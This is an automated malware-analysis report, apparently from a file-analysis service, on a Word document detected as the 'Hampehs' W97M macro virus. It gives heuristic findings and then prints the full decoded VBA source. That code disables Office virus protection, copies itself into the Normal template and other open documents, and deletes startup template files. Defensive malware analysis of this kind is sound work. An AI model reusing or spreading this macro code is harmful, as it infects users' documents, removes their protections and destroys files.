MALICIOUS
238
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample contains VBA macros with AutoClose and AutoOpen functions, indicating an attempt to execute code upon document interaction. Heuristics indicate self-replication and potential AV tampering, suggesting a malicious macro downloader. The embedded URL 'hampehs.cjb.net' is noted, though flagged as benign.
Heuristics 7
-
ClamAV: Doc.Trojan.Shepmah-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Shepmah-1
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
aplikasi.OrganizerCopy Sos, Tuju, Stem, 3 -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
AutoOpen -
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Sub AutoClose() -
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://hampehs.cjb.net In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4211 bytes |
SHA-256: 8867ff3e369a81119aad5997f5b820ef3070a27e407c8d504df449e655b5503b |
|||
|
Detection
ClamAV:
Doc.Trojan.Shepmah-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "hampehs"
'Hampesh v1.0b
'Release : 12/10/1999
'Dedicated to the biggest PUKIMAK in Malaysia!
'Dato' Seri Dr Mahathir Mohamed
Public Ushar_SB As Variant
Public Dah_Jumpe, Check As Boolean
Public actDoc, SloSlo As Object
Function Go_DingDang()
Dim coprasmi As String
On Error Resume Next
coprasmi = "hampehs"
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
ToolsOptionsSave.GlobalDotPrompt = 0
For chett = 1 To 2
If NormalTemplate.VBProject.VBComponents.Item(coprasmi).Name <> coprasmi Then
ddSrc = ActiveDocument.FullName
ddDest = NormalTemplate.FullName
Check = True
Ushar_SB = NormalTemplate.VBProject.VBComponents.Item(2).Name
Bunuh_SB ddDest
Makan_Budak ddSrc, ddDest, coprasmi
End If
If Dah_Jumpe = True Then
Check = False
ddDest = actDoc.FullName
usharAct = actDoc
Set SloSlo = actDoc
ddSrc = NormalTemplate.FullName
Else
If ActiveDocument.VBProject.VBComponents.Item(coprasmi).Name <> coprasmi Then
Check = False
ddSrc = NormalTemplate.FullName
ddDest = ActiveDocument.FullName
usharAct = ddDest
Set SloSlo = ActiveDocument
Else: akuLerWoi = True
End If
End If
If akuLerWoi = True Then GoTo pusin
Ushar_SB = actDoc.VBProject.VBComponents.Item(2).Name
Ushar_Awek = actDoc.VBProject.VBComponents.Item(3).Name
If Ushar_SB = "hampehs" And Ushar_Awek = "DingDang" Then GoTo pusin
Bunuh_SB ddDest
Makan_Budak ddSrc, ddDest, coprasmi
orait = True
pusin:
coprasmi = "DingDang"
Next chett
With Dialogs(wdDialogFileSummaryInfo)
.Author = "DingDang Yang Kiyut"
.Title = "Hampehs! What The Hell Is It?"
.Subject = "It is other method saying SHIT!"
.Comments = "This is only a beginning... wait for the worst to come after Hampehs. It will be much more worst! Visit Hampehs at http://hampehs.cjb.net for disinfection!"
.Keywords = "I Love Shida!!"
.Execute
End With
If orait = True Then SloSlo.SaveAs FileName:=SloSlo.FullName
End Function
Sub Bunuh_SB(Fail_SB)
If Ushar_SB = "hampehs" Or Ushar_SB = "" Then GoTo tadak_sb
Application.OrganizerDelete Fail_SB, Ushar_SB, wdOrganizerObjectProjectItems
tadak_sb:
End Sub
Sub Makan_Budak(Sos, Tuju, Stem)
On Error Resume Next
Set aplikasi = Application
aplikasi.OrganizerCopy Sos, Tuju, Stem, 3
If Check = False Then Set Desc = ActiveDocument Else Set Desc = NormalTemplate
Desc.VBProject.Description = "Hampehs [DD/UTM'99]"
End Sub
Sub AutoClose()
On Error Resume Next
WordBasic.disableautomacros False
Application.EnableCancelKey = wdCancelDisabled
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
ToolsOptionsSave.GlobalDotPrompt = 0
AutoOpen
End Sub
Sub AutoExec()
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
End Sub
Sub AutoOpen()
On Error Resume Next
Application.EnableCancelKey = wdCancelDisabled
Kill Application.StartupPath & "\*.dot"
Set actDoc = ActiveDocument
Go_DingDang
If Documents.Count > 1 Then
Dim bil
For bil = 1 To Documents.Count
If Documents(bil).Name <> ActiveDocument.Name Then
Set actDoc = Documents(bil)
Dah_Jumpe = True
Go_DingDang
End If
Next
End If
End Sub
Attribute VB_Name = "DingDang"
Attribute VB_Base = "0{95BE66EE-696E-11D5-8E7B-0050DA8B53E9}{95BE66E8-696E-11D5-8E7B-0050DA8B53E9}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.